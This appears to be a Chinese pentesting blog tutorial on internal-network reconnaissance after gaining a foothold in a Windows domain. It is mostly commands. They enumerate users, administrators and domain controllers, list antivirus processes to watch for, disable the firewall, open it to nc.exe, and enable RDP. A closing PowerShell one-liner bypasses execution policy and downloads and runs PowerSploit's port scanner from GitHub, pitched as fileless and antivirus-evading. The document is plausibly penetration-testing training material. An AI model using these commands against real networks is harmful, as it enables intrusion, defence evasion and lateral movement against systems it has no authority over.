内网安全学习从入门到入狱-知识-内网信息探测与收集
内网安全学习从入门到入狱-知识-内网信息收集
内网信息收集-工作组和域内基本信息收集
前提准备
本文中PowerShell脚本可以自行下载
https://github.com/PowerShellMafia/PowerSploit
0x01本机检查–先看看我是谁
域内的主机一般都是批量的,所以我们看看我们自己,基本上大家也就是差不多的情况
先看看ip,看看网卡,内外网情况,IP段记录一下,DNS
1 | ipconfig /all |
查看用户列表
1 | net user |
查看在线的用户
1 | query user || qwinsta |
查看本机管理员
1 | net localgroup administrators |
看管理员进程
1 | tasklist /v |
域管理进程 hack\adminishtartor
还有一些常见杀软
360sd…EXE | 360 |
---|---|
360tray.EXE | 360 |
ZHUDONGFANGYU.EXE | 360 |
KSAFETRAY.EXE | 金山 |
MACAFEE MCSHIELD.EXE | MacAfee |
AVP.EXE | K卡巴斯基 |
AVGGUARD.EXE | 小红伞 |
EGUI.EXE | Nod32 |
- 查看进程 too
1 | wmic process list brief |
- 查看端口
1 | netstat -ano |
1 | systeminfo 或者 wmic qfe get Caption,Description,HotFixID,InstalledOn |
查看共享列表
1 | net share wmic share get name,path,status |
(1)关闭防火墙
Windows Server 2003 系统及之前版本
1 | netsh firewall set opmode disable |
Windows Server 2003 之后系统版本,命令如下。
1 | netsh advfirewall set allprofiles state off |
- 修改防火墙配置
Windows Server 2003 系统及之前版本,允许指定程序全部连接,命令如下。
netsh firewall add allowedprogram c:\nc.exe “allow nc” enable
Windows Server 2003 之后系统版本,情况如下。
允许指定程序连入,命令如下。
1 | netsh advfirewall firewall add rule name="pass nc" dir=in action=allow |
允许指定程序连出,命令如下。
1 | netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow |
允许 3389 端口放行,命令如下。
1 | netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in |
查询并开启远程连接服务
查看远程连接端口
1 | REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber |
在 Windows Server 2003 中开启 3389 端口
1 | wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 |
在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口
一般前两个命令就开启了
1 | wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 |
查询域控制器列表
1 | Net group "Domain Controller" /domain |
收集管理员列表
1 | Net group "Domain admins" /domain |
- 列出或断开本地计算机和连接的客户端的会话
net session
0x02域内信息收集
查询当前额权限
- 获取域 SID
1 | whoami /all |
- 查询指定账户的详细信息。
1 | net user XXX /domain |
-
判断是否有域
主要利用
1 | ifconfig /all |
1 | net group "domain computers" /domain 查询所有域成员计算机 |
1 | 这个在大型内网,多个域很重要 |
查找域控
可以看到域控制器机器名
1 | nltest /DCLIST:hack |
查看域控制器的主机
1 | Nslookup -type=SRV _ldap._tcp |
获取域内的用户信息
获取域内用户信息
1 | net user /domain |
查看存在用户
1 | dsquery user |
0x03 域内网存活主机的探测
主机存活扫描
内网探测要点
- 避免使用大流量攻击的软件和图形化的东西
- 避免杀软敏感操作
- 尽量使用系统自带的组件
- 上班和下班多次扫描,可以进行对比网络情况
1.利用netbios快速探测内网
1 | Netbios.exe 192.168.0.1/24 |
2.利用 ICMP 协议快速探测内网—-ping命令主要使用—有的ping不通很正常
1 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL=" |
3.通过 ARP 扫描探测内网
1 | arp-scan 工具 |
4.利用TCP UDP工具扫描
ScanLine 是一款经典的端口扫描工具 体积小,动静小
1 | scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\log.txt -p 192.168.1.1-254 /b |
域内端口扫描
建议 wmi和powershell工具 动静小好
S扫描器
Metasploit 包含多种端口扫描技术,与其他扫描工具接口良好。在 msfconsole 下运行“search portscan”命令,即可进行搜索。
PowerSploit 中的 Invoke-Portscan.ps1 脚本
这个强大之处在于是无文件落地的扫描,很强大,
可以绕过一些杀软
1 | 主要机子要联网能连接到 GitHub这个地址 |
1 | powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt" |
![12](/images/20200314121643894.png